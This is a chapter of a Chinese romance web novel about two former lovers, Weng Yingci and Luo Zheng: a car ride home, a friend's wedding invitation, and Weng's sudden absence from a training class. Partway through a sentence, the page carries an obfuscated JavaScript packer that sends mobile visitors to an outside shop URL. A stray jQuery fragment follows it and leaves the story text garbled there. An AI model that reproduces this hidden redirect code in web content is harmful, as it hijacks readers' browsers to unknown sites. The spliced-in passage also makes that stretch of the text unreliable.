文趣网 > 其他小说 > 嘴硬前任驯服指南 > 11. 11’N
    翁映慈承认,此刻她的意志有些动摇。

    以至于她开始审视自己与骆峥之间的关系。

    相比两人在一起的轰烈,分手时却格外平淡。也可能平淡的只是翁映慈一人。

    异国的时差,学业生活的压力,那时的翁映慈似乎早在心中将两人的分离反复演练。

    她不是一个妄自菲薄的人,心思敏感却有着强自尊心。只是在听到骆书杰对她说的那些话时,还是会怅然。

    原来自己与骆峥的差距,不是自己想忽视就能忽视。

    即便骆峥无所谓,但她无法装作若无其事的样子,成为骆峥的软肋。

    而如今横隔在两人之间的阻力似乎消失不见,频道被拨回正轨,一切看似引刃而解,所有劝说自己逃避的理由通通失效。

    翁映慈却没有半点曾经渴求已久的欣喜感觉。

    可能她是个敏感矛盾的怪物。

    翁映慈低头不语,而她的沉默落在骆峥眼里,像是无声的妥协。

    他眼里藏着难察的意动,看着翁映慈放下筷子,骆峥得寸进尺:“吃好了吗,我送你回去。”

    可翁映慈想一个人安静呆会儿:“不用了,我自己打车吧。”

    “……”

    骆峥无奈:“我不过是你前任,又不是来索你命的鬼,倒也不比这么避如蛇蝎。”

    切。

    还不如来索她的命呢,更痛快些。

    翁映慈恨恨抬起头:“说出那么让人负担的话,还不允许人静静吗。”

    骆峥不解:“我的话让你负担了吗?”

    翁映慈:“……废话。”

    好好维持的工作关系,平白无故被打破。

    骆峥却不在意:“你的态度也叫我很烦。”

    “?”

    这是人话吗,怎么还倒打一耙的?

    有求于人家的翁映慈向来能屈能伸,如今还讨骆峥嫌?

    翁映慈不可置信地瞪了骆峥一眼:“你…开什么玩笑?”

    是谁一见面,讲话就能噎死人不偿命的。

    可即便被凶,看见翁映慈生动的神情,骆峥也不生气,故作大度:“行,那一起静静,坐我车里静。”

    “我没心大到让女生大晚上的单独回家。”

    说着骆峥给她拉开车门,一副翁映慈不上车,他就一直开着车门不会罢休的样子。

    ……

    翁映慈与他僵持几分钟。

    骆峥这辆停靠在路边的超跑,在熙攘的老旧街道里简直是异类的存在,经过的路人纷纷掏出手机偷拍,不知道的还以为两人是在拍电视剧。

    骆峥全然不顾周遭的视线,半靠坐在车前,反手拉开车门。

    黑大衣将他优越的身型完全展现,他歪头漫不经心地注视着翁映慈,没有半点羞耻心。

    翁映慈被盯地发毛。

    最终叹气,妥协地坐了进去。

    骆峥真说到做到,一路上车内只有导航播报的声音,他一声不吭。

    只在车开到翁映慈的公寓楼下,骆峥拿出一张请柬,才提起:“徐凯翼下周结婚。”

    翁映慈格外意外地接过:“结婚?”

    骆峥将车熄火,车内安静得只剩通风系统在运转,低声解释:“他下午给你发过电子邀请函,你可能在睡觉。”

    翁映慈翻了眼消息,果然自己没注意到。

    请柬还没打开,她先问:“可是我跟他很久没联系,突然到场会不会不太好。”

    骆峥:“不会,大学同学他都请了。”

    翁映慈翻开酒红的请柬,新郎徐凯翼,新娘吴文心,很熟悉的名字,她的眼皮一跳:“吴文心,是他大学……”的女友?

    话还没说完,对上骆峥沉静的眼睛,翁映慈知道自己没记错。

    徐凯翼他们是在大三才在一起的,比翁映慈和骆峥晚了很多。

    摸着请柬上的烫金字体,翁映慈像在喃喃自语:“他们居然已经也这么久了……”

    声音很轻,骆峥却听得清楚,突然出声:“本来就该是这个结果。”

    翁映慈抬眸。

    骆峥:“很意外吗?”

    “我以为谈过五六年的情侣结婚是很正常的事。”

    说完骆峥将头抵在车窗上,侧过头眼睛一瞬不眨地看着翁映慈,车外忽闪的光线照进他水色的眼里。

    好像在告诉翁映慈,他们之间才叫意外。

    谁都没想到他们会走到这个结局。

    ……

    翁映慈没有回答,只把请柬放进包里:“如果时间有空,我会参加。”

    她准备下车,骆峥没有拦她。

    翁映慈刚打开车门,就看见几道眼熟的人影从单元门出来,那几人骂骂咧咧,夹杂着几句听不懂的方言,翁映慈停下动作。

    仔细一看,是19楼的住户。

    小孩的爷爷奶奶不知道在争论些什么,放任小孩乱跑。

    小孩注意到停在门口的车,从来没见过这么酷炫的汽车,他手上还抓着家门的钥匙,兴奋乱叫地朝骆峥的车跑来,翁映慈赶紧关上车门。

    骆峥发现异样,还没问清翁映慈躲闪的原因,就很默契地先将车内的灯熄灭。

    小孩奶奶一看这车就贵得要命,猛地抓住孙子:“跑什么跑,等会儿给人车刮坏了!”

    小孩挣扎:“我要看看,要看看!”

    凑近漆黑的车窗,小孩奶奶怎么也看不清车里的人,也很奇怪:“咱小区怎么还有人开这种车?”

    接着嘀咕两句,就把孙子提走了。

    骆峥朝车外看去,不过是一对老人带着小孩,没什么特别:“你认识他们?”

    翁映慈只等眼前的人走远,才重新打开车门:“邻居而已。”

    骆峥敏锐察觉:“没出什么事吧。”

    不过是邻里间的小矛盾,翁映慈觉得没什么好提的,随意口揭过:“没有,只是怕人误会。”

    她下车,隔着打开一半的车窗,冲着车里状态松弛的骆峥,语气故作轻松:“都怪你的车太招摇。”

    “嗯?”

    骆峥扫了眼车内饰,很认真回答:“招摇?这已经是最低调的一辆。”

    …………

    炫什么炫,真够讨厌的。

    翁映慈无语。

    ·

    隔天,翁映慈出门,发现电梯里的告示不过一个晚上就被人撕了。

    或许是被物业清理掉,业主群里也没人提起,翁映慈就没当回事。

    今天下午是“奇点”的培训课,白天周茉在店里坐班,翁映慈抽空去看了眼,顺便给她带了份点心。

    想到昨天半夜骆峥给自己发来的问题汇总,翁映慈在店里待一会儿后就打算回家继续优化项目。

    刚走进小区,翁映慈接到一个陌生电话,以为是推销诈骗

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17870412|212216||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,她忙着停车,随手就给掐了。

    没想到对方再次打来,翁映慈把车停好,这回看了眼电话的来源地址,美国。

    她微愣。

    美国的电话。

    几乎是立刻,翁映慈脑子里跳出一个人。

    伴随这人的出现,那消失许久发涩的羞耻感再度涌现。

    电话迟迟未接通而自动挂断,下一秒铃声继续响起,似乎翁映慈不接就不肯罢休。

    犹豫过后,翁映慈轻咽干涩的喉头,滑动屏幕,选择接起。

    而电话那头传来熟悉又陌生的声音,让翁映慈的心脏瞬间一沉。

    ·

    “奇点科技”培训会厅内。

    员工在调试设备,骆峥坐在一边的角落。

    按理说今天不该他来讲,骆峥连上了几期培训课,再加上手里工作多的要命,本想缓口气,可徐凯翼一句话就堵住了骆峥的退路。

    “真不去?”

    “行,不去算了。那叫小周去吧,正好他们那伙人也挺好奇翁映慈的,给他们个机会好好了解一下。”徐凯翼坐在一边说风凉话。

    骆峥的办公室外是团队核心成员的办公区,昨天翁映慈来公司找骆峥这事,底下的成员里早就传得沸沸扬扬。

    翁映慈本来就是个瞩目的美女,还和一向极度冷傲、不近人情的骆峥走得这么近,成员很难不八卦。

    “……”

    骆峥皱眉:“你能别烦吗?”

    本来翁映慈的态度就不清不楚,如今整个人跟个乌龟似的,周围人再一闹,以骆峥的了解,她绝对会把头缩得更厉害。

    “当然可以。”徐凯翼见得逞后火速撤退,“那说好,下午的课你去啰。”

    “我还要陪文心再去婚礼场地看一眼,就不在这碍您的眼嘞。”

    骆峥又被安排参加培训。

    他看了眼手表,距离课程开始只差五分钟,一贯早到的翁映慈却迟迟没有出现。

    骆峥速度飞快地扫过底下一排排坐着的人,注意到总是和翁映慈同行的周茉已经到场,身边却不见翁映慈的身影。

    手机里也没翁映慈发来的信息,骆峥不自然地翻折着手里的讲稿,他向培训负责人低声询问:“今天有人请假吗?”

    负责人查看后回答:“骆总,没有。”

    这个答案更是让骆峥拧眉。

    回想她昨晚的状态,兴致一直不高,骆峥原以为是她太累,没心情处理两人间的事情。

    骆峥的原意不是催促,他只想告诉翁映慈,再心软些吧,不要放弃他们。

    可眼下她又在害怕什么,难不成回避自己到连课都不愿意来上了。

    翁映慈消失这件事情就像扎进骆峥心头的一根刺,他心烦到应激,胃开始隐隐作疼。

    骆峥不耐地咬紧后牙,强撑着平静地开始讲课。

    课后,骆峥再也没心情整理打乱的讲义。

    人群里的周茉还没走远,骆峥穿过人流喊住周茉。

    周茉突然被叫住,被吓一跳,见叫住自己的人还是骆峥,更是被吓一跳。

    没给周茉反应的时间,骆峥压着性子发问:“翁映慈人呢?”

    咦?

    这骆讲师怎么还来打听小慈?

    周茉还没搞清楚什么情况,但在骆峥压迫感十足的眼神下,她莫名发怵,还是呆呆地回答:“她…她刚和我说,她进派出所了。”